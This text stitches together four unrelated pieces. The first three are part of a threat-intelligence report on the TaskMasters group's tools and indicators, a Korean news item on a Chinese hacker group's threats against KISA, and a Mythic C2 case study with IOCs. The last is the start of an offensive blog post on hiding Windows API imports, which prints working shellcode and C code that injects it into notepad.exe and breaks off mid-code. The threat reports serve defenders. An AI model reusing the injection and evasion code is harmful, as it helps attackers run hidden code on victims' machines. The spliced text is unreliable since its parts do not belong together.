| Main malware for remote command execution on infected hosts. | | GetDir | Utility for viewing files on accessible remote network resources with username and password. | | FCopy | Utility for copying files by means of direct disk access. Can even copy files that are blocked by other processes. | | Service utility | Utility for installing and removing services. Alternative to the system utility sc.exe. | | Pst utility | Utility for extracting emails from Personal Storage Table (*.pst) files. | | EnumLogonSession | Utility for listing active user sessions on a local host. | | TimestampChange | Utility for changing the timestamp of the indicated file to equal the timestamp of %WINDIR%\System32\kernel32.dll. Designed to complicate investigators' search for forensic artifacts. | | HTTP ping | Utility for checking the HTTP accessibility of a resource from remote computers. | | LoggedOnUsers | Utility for getting the list of users who are currently logged in. | | Redirect ports | Utility for redirecting network connections from a certain host and TCP port combination to a different one. In effect, a primitive proxy server. | | HostUserList | Utility for enumerating users on a network host. | | TFS | Utility for uploading files to a C2 server. | | ZB | Utility for capturing network traffic. Records all captured traffic in PCAP format. | | WIPCS | Utility for copying a specified file to a remote shared network resource. | | 404-input-shell | Web shells for running commands based on .NET. | ### Table 2: Publicly Available Software | Name | Examples of Use | Description | |-------------|------------------|-------------------------------------------------------------------------------------------------| | AtNow | APT18, APT29, APT32, RTM, Cobalt Group | Utility for creating local or remote scheduled tasks, which run within 70 seconds of being scheduled. Main utility used by the attackers for lateral movement. | | pwdump | APT1, FIN5 | These utilities are intended for extracting the LM or NTLM hashes of account passwords in Windows (SAM). Most of the code for these programs is open-source and freely available. | | gsecdump | APT1, TG-3390 (APT27) | Utility for extracting password hashes from SAM and Active Directory. Freely distributed. | | HTran | APT27 | Utility for redirecting traffic from the specified port of the current host to a particular port on another host. In effect, acts as a SOCKS proxy server. Freely distributed. | | NBTScan | TG-3390 | Scanner for detecting openly accessible NetBIOS name servers on the local TCP/IP network, which allows finding accessible network shares on hosts. | | RAR | APT1, Daserf, Lurid, TG-3390 | WinRAR. Used for packing, both to stage collected information on the target infrastructure and to send this information to the attackers' server. | | ASPXSpy2014 | TG-3390 | Capabilities of this feature-rich web shell include: authentication with MD5 hash, file manager, enumeration of processes, running of system commands, and more. | ## Technical Details ### RemShell The main software used by the TaskMasters group, RemShell controls infected hosts and consists of two components: - RemShell Downloader (downloader) - RemShell (main functionality) **RemShell Downloader** This component delivers the main payload to the target system. The downloader accesses an HTML page (the address is set in the downloader's code) and reads the Attribute value of the HTML tag. This value is then decrypted. Depending on the value, the downloader either switches to sleep mode or saves the PE file to disk and launches it. The PE file is the payload, containing the main RemShell Trojan. The downloader contains a string used for comparison purposes, in order to search for the fragment in the HTML source with the Attribute value. We also analyzed the payload encryption process. It consists of four stages: 1. Key preparation (RC4KeyPrepare), with each byte XORed against a constant string. 2. Base64 encoding. 3. RC4 encryption. 4. ZLIB compression. In the downloader code, inside the entry for the RC4 key used for decryption, our experts uncovered friendly wishes from the developers. **RemShell** As the main malware used to control infected hosts, RemShell offers attackers several capabilities: 1. Remote control via cmd shell. 2. Downloading of files to remote host. 3. Uploading of files from remote host to C2 server. Note that the malware has two C2 servers. The first C2 server acts as a middleman or proxy that, when requested by the malware, provides the address of the main C2 server. The first C2 server can also send the command to hand off the malware to the other C2 proxy server. Since all changes occur in memory, after a restart the malware will contact the C2 proxy server whose address is indicated in the malware code. Note that the malware will stop working until it receives the address of the main C2 server. We found a number of variations of the malware. For example, some variations lacked the command to upload files from a host to the C2 server. In these cases, the attackers used a custom-developed utility to exfiltrate files. Other variations had commands added to enumerate running processes and kill processes by PID (process ID). Configuration data (such as address of the C2 proxy server, port, and user agent) was encrypted with RC4 and specified in the form of constants in the malware code. Traffic between C2 servers and the malware was encrypted with RC4 and additionally encoded with Base64. The RC4 key is generated by calculating an MD5 hash from a constant string. The output of commands from the C2 server is sent as an HTTP request to a URL with the atypical prefix "1111". The malware also contains a heartbeat mechanism: at random intervals, the malware sends an HTTP request that contains the output of the hostname command to the specified URL address, with the atypical prefix "0000". ### C2 Servers The server for managing malware infections consists of console ELF files. The interface for server management is implemented as a web shell, supporting the commands listed in the reference list of server commands. The server keeps a detailed log of all commands sent to the remote host. The log files are stored on disk in encrypted form. Encryption of the log files uses the RC4 algorithm. ### 404-Input-Shell Web Shell The window for logging in to the web shell is disguised as a standard IIS 404 error page. To access the command line and run commands, the attacker must first enter the password. The field for entering the password is hidden: viewing it requires double-clicking the word "Back". The attackers logged in with the password "0p;/9ol", which is the same password they used for encrypting archives. The web shell code contains the MD5 hash of this password. ## Conclusion Our findings confirm that cyber threats are a real danger for companies across the board, not just banks and financial institutions. In cases such as those outlined here, attackers are motivated not by financial gain, but by access to data and control of information flows. The priority of attackers in these espionage campaigns was long-term stealth on target infrastructure. Victims are usually unaware that they have been attacked. They tend to not have protection systems or skilled security professionals in place, and because there are no "red flags" indicating compromise (theft of funds, encrypted hard disks, ransom demands, or clear losses to the business), the cyberincident remains unnoticed. To determine how to protect systems—and most importantly, from whom—incident investigators must carefully consider and analyze the techniques used. When gauging potency, it can be more useful to look at attackers' mistakes (within the target infrastructure) than at their toolkit. Unfortunately, not all companies are prepared in case of a hack or major incident to perform an investigation and round up all artifacts, reconstruct the kill chain, and analyze the actions of attackers on infrastructure. But in the hands of a highly qualified team with the capacity to make recommendations for infrastructure protection, incident investigation can have a two-fold benefit: the company's level of protection is improved and future attackers will have to contend with a hardened target environment. ## Indicators of Compromise **File Names** - A t13.job - fcxl.Dll - l2cx.fnt - pdx.fnt - sysinit.dll - 0.exe - A t14.job - file.exe - l2cx_linux_x86.fnt - phicsit.exe - systeminfo.mp3 - 012.vir - A t15 - FlashPlayerUpdater.exe - lc x.fnt - Pic - t.bin - 02.dll - A t15.job - fon - lfmn.Dll - pl.chm - t.exe - 03.dll - At2 - fser - lgyo.Dll - pladi1.ht - t.rar - 061.vir - At2.job - ftps.dll - libeay32.dll - pp.rar - t2p.rar - 1.asp - At3 - fzhi.Dll - lsass.dmp - pp3.exe - test.exe - 1.c - At3.job - gc.c - lsmiis2.exe - pp6.exe - tfr_l - 1.exe - At4 - gc.chm - lsmis5.exe - psc.chm - tfs.dat - 1ttf - At4.job - gc.fnt - lsoss_1_.exe - psc.dat - tfs.fnt - 1211.exe - At5 - GD.exe - m.bin - psc.fnt - tfs.hlp - 12183250.dll - At5.job - GD.fnt - m.rar - psc.t - tfs.t - 123.mp3 - At6 - gd.t - m.ttf - psk.fnt - tfs_l - 16.bin - At6.job - getdir.fnt - m2.ttf - psl.dat - tgb.rar - 16.mp3 - At7 - gfk.chm - microhlp.exe - psl.fnt - tlhh.Dll - 16.mp3.exe - At7.job - gfk.ttf - myz.dat - psug.Dll - tplh.Dll - 161.bin - At8 - gjhzs.rar - mz8.chm - pswv08.fnt - tr.dll - 1At1 - At8.job - gjhzs909.rar - n.bin - pw7.fnt - tr.exe - 2.asp - At9 - gllr.chm - n.rar - PwDump7.exe - tracert.dll - 2.exe - At9.job - global.aspx - n.t - px.c - tradoigfx.exe - 2018-04-223-13-04_a.exe - atnow.dat - gp.c - nbtsan.t - r.bin - traffic.exe - 2018-04-223-13-30_a.exe - atnow.fnt - gp.chm - nbtscan.dat - r.chm - tbyabc.dll - 2018WK.exe - atnow.t - gp.fnt - nbtscan.fnt - r.fnt - tuye.Dll - 231.dll - au.exe - gpz.f.dll - nbtshow.fnt - r.hl - ul.dat - 3.c - AvpPower.exe - gpz_f.Dll - nd.rar - r.rar - ul.fnt - 32.c - b.bin - gsc.c - nd.ttf - r.ttf - ul.t - 45.c - b.rar - hp.exe - netui4.dll - rar.exe - ul2.dat - 6.c - bak.ttf - hpmon.exe - nov.bin - rar.hlp - ul2.fnt - 64.c - bakit.exe - hpmon04.exe - nov.rar - readme - uwse.Dll - 6666.exe - bhos.dll - HPUdsvc.exe - ns.chm - Res.txt - uyv.rar - 682.dll - bl.t - HTE.exe - ns.hlp - rlbl.Dll - v.rar - 682.exe - buert.exe - i.bin - nt4.rar - rp.chm - view.js - 6to4.dll - cc.t - I.EXE - oqaj.Dll - rt.pdf - view.jsp - 7.txt - cc.zip - i2.dll - ot5.dat - rt.rar - vniplat.exe - 858.exe - cfd.exe - i2.exe - ot5.fnt - ru.ru - w.bin - 86.dll - cierdecll3.htm - i2mss.exe - p.bin - s.nam - wincsit.exe - 876.exe - cjwz.Dll - igfxmon.exe - p.t - s.t - winspool.dll - 8789.exe - ConnectRes.txt - igfxmons.exe - p.t - s.t - wk.chm - 999.exe - ConnectRes.txt - igfxxpers.exe - p2.dat - scan.dat - wk.chm - a.bin - cpuzud.exe - II.exe - p32.fnt - scan.fnt - wtfmon.exe - a.rar - crec.aspx - II2.exe - p6.bin - scan.t - wvae3.bat - a.ttf - ctfmom.exe - iis.exe - p6.c - scss.exe - wvae3.exe - A0101377.exe - curl.rar - in.exe - p6.chm - set.dll - wvae3.dat - A0144508.dll - czof.Dll - ine - p6.fnt - set.exe - x.dll - A_A_v3.1.exe - d.bat - insets.exe - p64.fnt - sf.t.dat - x.exe - aact.dll - d.rar - Install.exe - part001.rar - sgpq.Dll - yhro.Dll - aavd.Dll - dat4.tmp - insts.exe - part002.rar - small.exe - z.bin - a_cd_w.Dll - dbx.fnt - int.dll - part003.rar - smb.t - zb.fnt - AdobeACE.exe - D_c1.dll - int.exe - part004.rar - smsc.exe - zmss.exe - At1 - dex.exe - Ipsec3.dll - part005.rar - souicsit.exe - zmss8.exe - At1.job - dly.Dll - Ips e c4.dll - part006.rar - spk.fnt - zmss.exe - At10 - Dr web.exe - ipxrip.exe - part007.rar - spk.ttf - zsmss.dat - At10.job - ds9vs.dll - ivjq.Dll - part008.rar - srgk.Dll - zsmss.exe - At11 - DumpSvc.dat - iyzp.Dll - part009.rar - str.txt - zsrss.exe - At11.job - explorer.exe - jssg.Dll - part010.rar - svdnost.exe - At12 - fcopy.dat - kerfcc.exe - path.txt - svohost.exe - At12.job - fcopy.fnt - kr tf_.Dll - pdx.dat - svohost_1.exe **Hash Values** - 02E5BF4227F94E72C401EF8A052F61C370C1DCFBB4695E432CCD2982BBF529E9 - 3B178C063372245C8A6CFD4F059FB43C0BE08BFB49209096CE38E379BF521669 - 039C1FAF0F37F47908B213C00D1EE595ADE0E058E252596E0C92979A2B7B4143 - 3BA85E2C2E40FC60D62214B85FE3C46BFD11ECDABF7506A3FADD81A7360029CF - 03F96088C715C06BAA00492A0A4EB5BB0D00A9DAA12F507FF77BB292ACDD5E70 - 3CE4B936BDB3469057CC193DFCA58EF6AE28F8B4355285AB6E97CC7457EC3CAD - 05732E84DE58A3CC142535431B3AA04EFBE034CC96E837F93C360A6387D8FAAD - 3D75740A1DB7A259345E100CCEE3E3CEA3ED46D707804438F2C6884197A64076 - 0DC5C83DA6281E026F0E05652FF7C0701F9690B43A12C661F9E077E9B365C94D - 3F8B447A2C0C1E677CD77481875861FD2D75B82056B129F1634 - 63B5225A6369E - 11B06FC4DBACC2357D7F277E302BE9C3CE907B9FD91FFD8E847D0AFB86EEC1E2 - 40361A025DED3E83A206277DE2D1A24C58932964E23D0CF7D2A2FAD287192EB7 - 1257539E164D3B64C646C40163323380F1DF11AFB3C3BBE3C1B9F13580968D724 - 129CF0573D54447FA4985BC26C8A6F0CAF41F239A3E3605137ECC1365B828166 - 41428673B20408C052FFF5C6E8E06DD9AAD4F151394FD248A81462D3E7416777 - 12A56D1DFE0D3ED044FB1CAB55C5F444FD98835761CE2B3F7A8EA8AC2389B9AF - 42829129B396465F0355B88E1A4FCBD62E1DB26D6A226DA5FD045314C9DE57A9 - 16E2A78AB2CCB064C1F35A89CFB4BD64491AE97D48BD1E90124E1162F2804147 - 439EEEAB09BC8F7FCB65BC221D50D13989F00746F4B155516086620186C785E0 - 16F413862EFDA3ABA631D8A7AE2BFFF6D84ACD9F454A7ADAA518C7A8A6F375A5 - 4417C224C82A7DF33AF41DC4D9A07DC6955A531432048C6FD9874E48D6502D18 - 1743C9DB17AA0B6D58BE9EED32330C5C0099E364D402316AF9C40AB7CAAC1BFF - 446F84069E825062D1D56971B7578361EBC4FEB1988950701065D9C18A3E7941 - 1789D39A2312199A41783C289D20AD655B9F4273730FE159B70E411BA4B600C0 - 457E509889288C9523EBC1333682A9D9B3D913F9D49F8ED5E24ADD9CE2C813F4 - 1827B320F931F6CF653A18577255E8E300D073F17FAACE10A3C75D0575D3E744 - 45EF65B99D5970C736CA5C5D8C4D335107A7F4C9C42D57CB02809819FEC722F - 18C213F57520461FC5E279B3756B6B9F91ECF172E7921D50EB5A6A1D276D9A55 - 949BBE9EF463AE3BE170016282FB34BAAF643232FDD00EC10E94C6FE3ECB5047A - 1977D9F301ABC22E228F53386831BB1238C0BAADFFFD25C8313BFEFB20BB7E22 - 4CF787E9B2D3FE6E38476D280A066F0C6E7A452C14B077903009BE16BC373E0B - 19BD3D0A545EDA42E7F7E202BED8A69BAE101DE84B9ABCD1C32E73D9D1BF7E5E - 4EAF82CC6F13A0F97CBAB23F2ACF86523768E0A9F8A6172DD31DB9EF59ABF8CD - 1BAAA8BC49B1FC28C423601C8DE57DBAEF93E83BAFE24495E3EF1E69B9A0B252 - 4EB28758D50CBB661C0AA3DF9260D7F8214B1D74AB623B07B50CF1A98E019D52 - 1CE3CD926981C57F6F8374505C820A566BFE019639388DC2F10F37848E0DFD22 - 597FD8D8BF5078C2E3BCEB4B64EC88985DA9D8976B24C4D49792950BA2F79CCF - 1D867802F3A521A4E47E5DCC19CBA0361E7AD9C9437254D68373B132CCFF5B2 - 5A15A3692EDB61202F1AFB8E5DA1D6F1FE73183644EFF3A38EBB69D9811783CE - 1E36E7CC7EFFFAE741FFF6F6767A1119956290CA25DC56CF6408122608A8E0B7 - 5A19EB4140A5871E409A6BAD547035622A0F4FF993E3D8DAA76CFC25338ACDA6 - 1ECD8EEC4B37234A6F7574863BD2DE4E68A657689DA2E08A9FBB5CEFBF2DA929 - 5B3F3655C5683596394C44A52E002C08DFE1DA688C116DEDF0DE1C859D334B4C - 20B5EDBA5804AAA4A3F75582F289F44005DB7391783588261AD7BCFB245B8807 - 5BBF07235C668683B3CF1B2DFF1F815BC760A195AE7CFD62948A6EBF24F2D204 - 2216524BDBEBBBCFF6BBEB7BA0A138A4870A960ADB4CF848777DFF9DF9BFDD9F - 5CC12AD9E80C6654D7B6C07D40EACE36CE6B6E1806BE81A50FE6BD94AECF255B - 22D5ED5378BAAB14F70B6E1AB52365CEFEEC2436DDB9A5162350EB426939E2AB - 5D5113B9FF6D52048E964E6C6DACA6152448AD43D809BCE29B2EF193ADE2A51A - 24CE0093EE095036A6AC214F84CCF3E5D041778A560EC62A557857F0B848CD7A - 5ECCC046835C58CEA560566F6DA47D424A994773EE3A05FBF429D3C9DDE0AD7C - 2626B49EE4C59421D4731D1EEC153C87EC01763D8DF42BA903BDF269249B6279 - 5ECCCB17C7A529C8066F353BFAE342E9E27A1C1E8916F199E539E359757B11C5 - 270000CB784D047F664F372E2AF1A61A0B5E9C557E215F524F5589D0FBF5A7116 - 5F1D61F09D461CE68B6B9C2C1E8D6410F511BA3428C14236C9E052A97C48F75 - 2725D22E16CB7E7588A7FA644723B3050D598857F3892EE33511E5B055DEA3C6 - 6195ED2380118A50740FC7CB3CB6E46128BDDA649FFC1F51F34E208BFC0F2D3CF - 28AEDF8050D2AB7A4B5028746C714023087D1F5B5767F5A6C3E1AAEA74A41391 - 6324E31D90E7CCFF78F3311A067373828D76A4B5EE7F1A9224E01FCFD2AA0C717 - 2A0760E9EEC9C3957FF78F0D8DB8DC17D92B80D1E4DC649B2886DC6A0C234187 - 63AE495D981E1EC36A32D989C2D414C03094CCBB7F5438498AF5BE8AC8E22882 - 2C24EE33CA77D1C03DA75BB465019DD8778497F657FC0D0DA08D0DE8A2872A - 63B1E09BE45AB14596AA4C1F2EE406FF3E275CAEB16EBE0FD44C520BFE6B78FF - 2C36CE8D1754145243C8C44475408018F7BE4377343019E12026BDCB712D5CB3 - 6414A7DC658DA05ED0F1C3814256B9729E55560110AD46FD5E6FADEC2AA66A2C - 2C96C4D32BDC02FF89ABE4DDC9A18FDB4E5E3BE0ED5FAC561A3BE8622F17B131 - 69CE2CD26E72AC68C362733D5186AB22F9266E9530C80477FAE2454631373973 - 2F3C52F9C858D38B6964B9DE37A97C251892DB941117BF6C47743272DD133AC8 - 6BA6052F2074318E094CEEEFCD8A661EE89E178795CB3ED66BE8DAD787D695D0 - 32AEE4C9B886CF026D55C8DE703AF5C5469CD0B2CE6CFB67E039F7C347221F92 - 6BC4497B86DF521B413E4574F4CD4289C986348D2A69DA1945FF1A1784DB05DB - 339828A0516652DC5BC61B72602DF017D6A10DB78773309E9951197AB40A2313 - 7310A400D6CC9435323407F1E1FA93070D69DE6A54A61E0B5A3B9E0B1E8B1E3 - 33B06CB06E1034FAC0EA27995BD2C10CC8645D082E900BB5256C4F045403483D - 74CC653D34FBB5CE9CF6F80261E5B096C5F77939F06CABC9F0258C43751A3FDF - 34700407F1F5C44566097B8F8990B1F515E77A210AF7314B1F4D7D76C4CA1E87 - 87479D531F0676A3EA00217F66FD84E2E101B6258816987E8A9FB2E5B59834A3700 - 3497B28C5652BEE5B205818BE6C5CB90B8C8CA4BFEA0EE0817AF55E7C339FD6A - 7AD0FA474C9D85B29A76E2D3AB28DEA27EC86D1DB63F423F276D63F345372DF8 - 35A45A79D9F3EE66DC81A8329A111FDF16A1D55D2DE8A43CAEBD5A39A04050A9 - 830D032697691B6819EAED2E65BBD60CFC95B935CA4CBA0784A9CA07E117962A - 36C42BDDAC7A187D82A16CD13BE8B94C47066BEEE8E0CE4E02C97FFA4B578CC3 - 84BE0E1CD0A8FD4231657BAA7EBF7DF2D0193AC0EC86E2115F0CA96FE5AF5391
# 긴급: 한국에 해킹 선전포고한 中 해커조직 중국 해커조직 '샤오치잉'이 한국의 2천 개 정부 및 공공기관 사이트를 해킹하겠다고 선전포고했다. 이들은 2022년 12월 27일 '샤오치잉'이라는 이름으로 활동을 시작했으며, 2023년 1월 24일 새벽 3시에 한국인터넷진흥원(KISA)을 타깃으로 사이버 공격을 예고했다. 국내 사이버 인텔리전스 전문가에 따르면, '샤오치잉' 조직은 지난해 활동해왔던 'Teng Snake (APT-C-61)'라는 조직으로 확인되었다. 이들은 2021년부터 해킹 활동을 시작하며 전 세계를 대상으로 사이버 공격을 해온 조직이다. 샤오치잉 조직이 지난해부터 한국을 타깃으로 공격하고 공개한 내용은 다음과 같다. - 2022.04.30: 한국 의료 분야 해킹 주장 - 2022.05.05: 한국의료기기산업협회 해킹 및 데이터 유출/판매 - 2022.05.06: 한국 국방부 인트라넷 침투 및 기밀문서 탈취 주장 - 2022.12.27: '샤오치잉' 조직명으로 활동 시작 - 2023.01.07: 한국에 대한 데이터 유출 작전 공표 - 2023.01.17: 삼성 내부 해킹 및 데이터 탈취 주장 - 2023.01.20: 한국 언론사 30개 공격 예고 - 2023.01.20: 한국건설정책연구원 웹사이트 해킹 및 내부 연구원 데이터 유출 공개 - 2023.01.20: 한국 공공 및 정부 네트워크 공격 선언, 공격 타겟 한국 정부 도메인 2300여 개 조직 내 공유 - 2023.01.20: 동아시아연구원 데이터베이스 해킹 - 2023.01.21: 한국 교육, 과학, 바이오, 의학 등 연구원 및 협회, 정부, 서울시 해킹 및 데이터 탈취 주장 - 2023.01.23: 한국 정부 부처 데이터 54GB 유출 주장 - 2023.01.24: 한국 각종 학회 40여 곳 해킹 및 데이터 유출 공개 - 2023.01.24: KISA 공격 예고 이번 KISA 사이버 공격 예고를 최초 공개한 보안 분석가는 “이 조직은 주로 새벽 1시까지 일하다가 취침을 했다. 하지만 오늘은 새벽 3시에 KISA를 공격하겠다는 글을 올렸다. 아마도 KISA에서 올린 공지글을 확인하고 기분이 상했을 수도 있다”며 “이외에도 국내 41개 학회 리스트를 공개하고 그 중 몇 개 서버는 내부망까지 침투해서 서버 소스코드까지 공개한 상태다”고 전했다. 또 “지난해에도 이들은 한국 사이트들을 해킹해서 회원 정보를 공개한 바 있으며, 최근 삼성도 해킹해 내부 데이터라고 주장하며 올린 내용도 있다. 현재 100MB 정도 샘플만 공개했고 추후 2GB 데이터를 추가 공개하겠다고 예고했다. 하지만 실제 삼성을 해킹해서 탈취한 정보인지 협력업체를 해킹한 것인지는 조사해 봐야 한다. 이 조직은 80% 정도는 신뢰할 수 있고 다소 과장된 내용을 게시하기도 하지만 현재 상황은 심각하다. 사이버 공격에 대해 정부, 공공, 협회, 기업 모두 각별한 주의를 기울여야 할 상황이다”라고 주의를 당부했다.
# Mythic Case Study: Assessing Common Offensive Security Tools Having covered the Sliver C2 framework in a previous post, this blog will continue our examination of Cobalt Strike “alternatives”, focusing on the Mythic C2 framework. The rationale for this write-up is based on conversations with red-team operators and our observations of internet-facing Mythic C2 servers over the past three months. Like Sliver, Mythic is a free-to-use, open-source tool. Written predominantly in Python, Mythic provides cross-platform payload creation options (Linux, MacOS, and Windows). With an active development community and ‘plug-n-play’ functionality for its various agents, the technical entry barrier for users is comparatively low. Mythic is therefore attractive to threat actors of varying skill sets; for the lower-skilled actor, the ‘plug-n-play’ capabilities mean they can use the framework and additional agents ‘off-the-shelf’. In the case of higher-skilled actors, the framework’s flexibility for customization might be used to evade detection mechanisms based on ‘known’ fingerprints. ## Key Findings - Although dwarfed by Cobalt Strike, the number of online internet-facing Mythic servers outnumbers a number of other ‘common’ C2 frameworks, including Sliver. - Mythic was observed being deployed alongside reNgine, a powerful reconnaissance tool. - Connections to an operator identified previously utilizing Sliver, potentially in Pakistan-focused activities. - Low confidence ties to e-crime operators have been identified within open source reporting. ## Identification of Mythic Servers Since the first quarter of 2021, the number of online Mythic servers has generally remained static; with 76 servers online at the time of writing. For ease of access, we have used data from Shodan for this illustration. Comparing this to other C2 frameworks (including Cobalt Strike), Mythic accounts for about 2% of the current ‘market share’ – interestingly, about 8x more prevalent than Sliver at present. While 76 servers may seem like a low number, this only accounts for internet-facing infrastructure and likely doesn’t include many of the Mythic instances being used for red team operations within closed/controlled environments. With that being said, Cobalt Strike remains the most prevalent framework in use today. Therefore, the purpose of this blog series is not to suggest defenders divert resources away from the detection of Cobalt Strike as a threat vector, but merely to heighten awareness of emerging and plausible alternatives. ## Mythic in the Wild? Reviewing the currently online Mythic servers, most of them (90%) fit a ‘default’ profile, with details for the web portal port, SSL certificate, etc. having not been altered from the ‘out-of-the-box’ settings. **Default settings:** - Port - 7443 - SSL certificate - Issuer: O=Mythic In cases where these settings were modified, we have observed cases of re-use, where modified configurations were seemingly copied from box to box over time. In doing this, actors leave behind an attributable trail which makes tracking from C2 server to C2 server possible. For example, by following E-Tag information (present in HTTP headers), we were able to tie multiple Mythic servers together. From this starting point, we start to ‘zoom in’ on activities utilizing the Mythic framework, shedding light on some of the use cases. ## Mythic + reNgine We were able to follow this particular operator for a number of months, based on a recurring E-Tag value. In addition to Mythic, this operator was also observed using a reconnaissance framework called ‘reNgine’. Based on observed certificate information (CN = redteamtools.msfven0m[.]xyz), this infrastructure was likely used by a red team operator to target multiple customer organizations - although the potential for a false flag cannot be ruled out. In this case, the scenario was quite simple: reNgine was first used to scan port 443 on the victim server, seeking vulnerabilities which would allow initial compromise/exploitation. A Mythic beacon was then dropped on a victim machine for management of the exfiltration stage. As a side note, reNgine is another powerful tool which blue team operators should become familiar with. At the time of writing, approximately 920 online reNgine servers were identifiable. ## Mythic + Pakistani Focus In our blog on Sliver, we identified a campaign which appeared to target both Pakistan and Turkey, based on the domain names observed. Whilst hunting for Mythic servers, we identified a similar domain ‘rd.mofa-pk[.]org’ - which appears to target the Pakistani Ministry of Foreign Affairs. The domain mofa-pk[.]org was most recently hosted on 3.239.29.103 (assigned to AMAZON-AES), amongst the other domains hosted on this IP are: - nationalhelpdesk[.]pk - sngpl.org[.]pk Both of these domains were highlighted in our Sliver blog as being connected to the same activity. It would appear that the operator behind this linked infrastructure makes use of a diverse range of C2 frameworks in their activities. Our investigations into this cluster continue. ## Mythic + Bazarloader / Bazarbackdoor? In June 2022, a researcher shared a new Mythic C2 framework on Twitter with a slightly different web login panel. The default login panel for a Mythic C2 contains the Mythic logo, but in this case, the page contained this “Botleggers Club” image. The “Botleggers Club” was mentioned in the Conti Leaks as a panel to manage/administrate and interact with clients (the bots), and also to deliver malware (BazarLoader/BazarBackdoor). By pivoting on E-Tag values once again, a number of IP addresses were identified, sharing the same details as the Mythic C2 mentioned above (cryptolvl-rsa-check[.]com): - 139.59.72.48 - 147.189.169.143 - 159.223.193.246 - 203.28.246.137 - 34.240.115.152 - 43.142.60.207 However, after this information (the Tweet) was publicly exposed, the server configurations were modified and now only one of these IPs is displaying the same E-Tag. It is likely that the other servers were either shut down or moved elsewhere with updated configurations. ## Conclusion From a technical point of view, Mythic has all of the advantages of Cobalt Strike (or any of the most popular C2 frameworks). Based on the number of commits, issues, and pull requests on GitHub, the community is highly active in contributing to the development of the framework. In other forums, such as Twitter, we also observe researchers sharing their tips and tools for the improvement of Mythic functionality. As noted already, Cobalt Strike remains the most popular C2 framework, but we wouldn’t be surprised to see growth in the use of Mythic in the near future. Indeed for some red team operators, this trend is already occurring - we would expect that malicious actors have taken note and are either considering or have already adopted the use of Mythic into their TTPs. ## Indicators of Compromise **Domains** - cisco-update.com - corpse.sh - idinfosystems.com - linux-sec.top - live-office365.com - mofa-pk.org - onerule.digital - v56119.php-friends.de **IP Addresses** - 101.35.90.253 - 103.134.19.126 - 139.162.8.112 - 139.59.144.58 - 139.59.249.255 - 142.93.166.252 - 142.93.246.237 - 159.223.234.22 - 3.212.113.251 - 3.96.54.147 - 46.243.186.22 - 47.96.177.12 - 5.2.79.164 - 54.173.67.191 ## Mitre Att&ck Matrix This Mitre Att&ck Matrix is a summary of the combined capabilities of every Mythic agent (Apollo, Athena, Tetanus, etc.): | Technique | Technique ID | Observable | |----------------------------------|--------------|-------------------------------------| | Scheduled Task/Job | T1053 | | | Process Injection | T1055 | Spawns Processes | | Obfuscated Files or Information | T1027 | | | Software Packing | T1027.002 | | | Timestomp | T1070.006 | Suspicious Timestamp | | Virtualization/Sandbox Evasion | T1497 | | | Disable or Modify Tools | T1562.001 | Guard pages creation | | Remote System Discovery | T1018 | Reads host file | | Process Discovery | T1057 | Query running processes | | System Information Discovery | T1082 | Read machine GUID, software policy, volume information | | Security Software Discovery | T1518.001 | | | DLL Side-Loading | T1574.002 | Load missing DLLs | | Native API | T1016 | | | Application Wide Discovery | T1010 | Monitors Window changes | | System Time Discovery | T1124 | | | Application Layer Protocol | T1071 | Perform DNS lookups |
# Hidden in PEB Sight: Hiding Windows API Imports With a Custom Loader In this post, we look at different techniques to hide Windows API imports in a program in order to fly under the radar of static analysis tools. Especially, we show a method to hide those imports by dynamically walking the process environment block (PEB) and parsing kernel32.dll in-memory to find its exported functions. Let’s dive in! ## Basic shellcode injection Say we want to write a small program injecting a shellcode into the first instance it finds of notepad.exe. In the most basic case, the layout of the code looks like this: - Find the PID of notepad.exe - Get a handle to it using OpenProcess - Allocate a writable and executable page in the target process memory - Write our shellcode to it - Call CreateRemoteThread and give it the address where the shellcode is located in memory This will cause a new thread to spawn in notepad.exe and to execute our shellcode. Here is the sample code: ```c // msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -a x64 unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00"; int main(int argc, char* argv[]) { // Get a handle on the target process. The target needs to be a 64 bit process HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe")); // Allocate a RWX page in the target process memory LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL); // Create a thread in the target process pointing to the shellcode DWORD ignored; CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored); return EXIT_SUCCESS; } ``` The function `find_process` is not relevant but included here for completeness: ```c #include <iostream> #include <windows.h> #include <tlhelp32.h> 